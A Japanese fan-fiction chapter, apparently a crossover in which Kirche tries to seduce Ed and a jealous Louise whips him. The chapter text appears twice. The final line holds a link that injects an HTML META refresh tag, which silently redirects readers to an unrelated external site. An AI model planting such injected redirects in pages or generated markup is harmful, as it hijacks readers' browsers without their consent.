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*第7話
―ある日の夜―
エドが雑用を終えて寝ていると、ドアの外に気配を感じた
「なんだ?」
ドアを開けると、底には一匹の動物がいた。キュルケの使い魔、サラマンダーのフレイムだった
「お前は…確か、キュルケの使い魔…フレイムだったっけ?」
「きゅるきゅる」
フレイムはエドの上着の袖をくわえると、キュルケの部屋にエドを引っ張っていった
「なんなんだいったい?」
フレイムに引っ張られ、エドはキュルケの部屋に入っていった
入ると、そこは真っ暗だった
「そんなところに突っ立ってないで、いらっしゃいな」
キュルケの声が聞こえると、部屋に立てられたロウソクが、一つずつ灯っていく。するとそこには、ベッドに腰掛けたキュルケの悩ましい姿があった
「な、何の用だ?」
キュルケはエドの近づき、優しくささやいた
「あなたは、あたしをはしたない女と思うでしょうね?でも、あなたは許してくれるわ。」
「な、何を…」
「恋してるの。あなたに。あなたがギーシュを倒した時の姿…。かっこよかったわよ。あたしね、それを見て痺れたのよ。あたしの二つ名は『微熱』。あなたがわたしの微熱を情熱にかえたの…」
「キ、キュルケ?な、何を…」
「安心して。怖くないわ。あたしが教えてあげるわよ」
そう言って、キュルケはエドをベッドに押し倒した
キュルケがエドの唇に、自らの唇を合わせようとしたその時―
バーン!!!
キュルケの部屋のドアが、今にも壊れそうな勢いで開いた
「何をやってんの!あんた達はぁぁ!!」
ルイズだ。ルイズが顔を真っ赤に染めて、鬼の形相でそこに立っていた
「ル、ルイズ!?」
「あらぁ、取り込み中よ。そうねぇ…二時間後に来てくださる?ヴァリエール」
「ツェルプトー!だれの使い魔に手を出してんのよ!」
「しかたないじゃない。好きになっちゃったんだもん」
「来なさい。エド」
ルイズは、怒っていた。その怒りの凄まじさに、エドは反射的に生命の危機を感じた
「は、はい!」
エドが部屋を出ようとしたとき―
「エド」
キュルケに呼ばれ、反射的に振り向いたエドは、いきなり唇を奪われた。
―それは長い、情熱的なキスだった。
満足したのか、キュルケは唇をエドはから離した
「じゃあね。ダーリン」
投げキッスをしてキュルケはドアを閉めた
―ルイズの部屋―
「ん~~っ。何なのよ、あいつはぁぁ!盛りのついた野良犬じゃない!!あんたもあんたよ!なんでノコノコついていくわけ?ばかじゃないの!!」
ルイズはそう叫びながらエドを鞭で叩いている
「いだっ!や、止めてくれぇ!」
エドは半泣きになりながら何とか耐えていた
「いい?だいたい、あの女はちょっと胸が大きいからって(中略)しかも、あの女はゲルマニアの貴族で、私の実家の領地は(中略)というわけで、キュルケはだめ!禁止!わかったわね!!」
エドはルイズの長話を、正座で、しかも時々鞭に打たれながら耐えていた
「しかも、最後なによ!キ、キス!?何してんのよあの女もあんたも!!」
鞭で打たれながらエドは思った。つい思ったことを口に出して言ってしまった
「やいてんのか?」
「だ、誰が、あ、あんたなんかに、や、やきもちなんかぁぁぁ!!」
ルイズは、鞭を振るった。この時、エドは自分が余計な事を言ってしまったと後悔した
「私は…そうよ!自分の使い魔が、あ、あんな女に、と、取られたくないだけなんだからぁぁぁ!!!」
「わ、わかったから。もう止めてくれ!!」
「はぁ…はぁ…わ、わかればいいのよ…わかれば」
エドには、鞭で叩かれた痛々しい痕が残っていた
*第7話
―ある日の夜―
エドが雑用を終えて寝ていると、ドアの外に気配を感じた
「なんだ?」
ドアを開けると、底には一匹の動物がいた。キュルケの使い魔、サラマンダーのフレイムだった
「お前は…確か、キュルケの使い魔…フレイムだったっけ?」
「きゅるきゅる」
フレイムはエドの上着の袖をくわえると、キュルケの部屋にエドを引っ張っていった
「なんなんだいったい?」
フレイムに引っ張られ、エドはキュルケの部屋に入っていった
入ると、そこは真っ暗だった
「そんなところに突っ立ってないで、いらっしゃいな」
キュルケの声が聞こえると、部屋に立てられたロウソクが、一つずつ灯っていく。するとそこには、ベッドに腰掛けたキュルケの悩ましい姿があった
「な、何の用だ?」
キュルケはエドの近づき、優しくささやいた
「あなたは、あたしをはしたない女と思うでしょうね?でも、あなたは許してくれるわ。」
「な、何を…」
「恋してるの。あなたに。あなたがギーシュを倒した時の姿…。かっこよかったわよ。あたしね、それを見て痺れたのよ。あたしの二つ名は『微熱』。あなたがわたしの微熱を情熱にかえたの…」
「キ、キュルケ?な、何を…」
「安心して。怖くないわ。あたしが教えてあげるわよ」
そう言って、キュルケはエドをベッドに押し倒した
キュルケがエドの唇に、自らの唇を合わせようとしたその時―
バーン!!!
キュルケの部屋のドアが、今にも壊れそうな勢いで開いた
「何をやってんの!あんた達はぁぁ!!」
ルイズだ。ルイズが顔を真っ赤に染めて、鬼の形相でそこに立っていた
「ル、ルイズ!?」
「あらぁ、取り込み中よ。そうねぇ…二時間後に来てくださる?ヴァリエール」
「ツェルプトー!だれの使い魔に手を出してんのよ!」
「しかたないじゃない。好きになっちゃったんだもん」
「来なさい。エド」
ルイズは、怒っていた。その怒りの凄まじさに、エドは反射的に生命の危機を感じた
「は、はい!」
エドが部屋を出ようとしたとき―
「エド」
キュルケに呼ばれ、反射的に振り向いたエドは、いきなり唇を奪われた。
―それは長い、情熱的なキスだった。
満足したのか、キュルケは唇をエドはから離した
「じゃあね。ダーリン」
投げキッスをしてキュルケはドアを閉めた
―ルイズの部屋―
「ん~~っ。何なのよ、あいつはぁぁ!盛りのついた野良犬じゃない!!あんたもあんたよ!なんでノコノコついていくわけ?ばかじゃないの!!」
ルイズはそう叫びながらエドを鞭で叩いている
「いだっ!や、止めてくれぇ!」
エドは半泣きになりながら何とか耐えていた
「いい?だいたい、あの女はちょっと胸が大きいからって(中略)しかも、あの女はゲルマニアの貴族で、私の実家の領地は(中略)というわけで、キュルケはだめ!禁止!わかったわね!!」
エドはルイズの長話を、正座で、しかも時々鞭に打たれながら耐えていた
「しかも、最後なによ!キ、キス!?何してんのよあの女もあんたも!!」
鞭で打たれながらエドは思った。つい思ったことを口に出して言ってしまった
「やいてんのか?」
「だ、誰が、あ、あんたなんかに、や、やきもちなんかぁぁぁ!!」
ルイズは、鞭を振るった。この時、エドは自分が余計な事を言ってしまったと後悔した
「私は…そうよ!自分の使い魔が、あ、あんな女に、と、取られたくないだけなんだからぁぁぁ!!!」
「わ、わかったから。もう止めてくれ!!」
「はぁ…はぁ…わ、わかればいいのよ…わかれば」
エドには、鞭で叩かれた痛々しい痕が残っていた[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]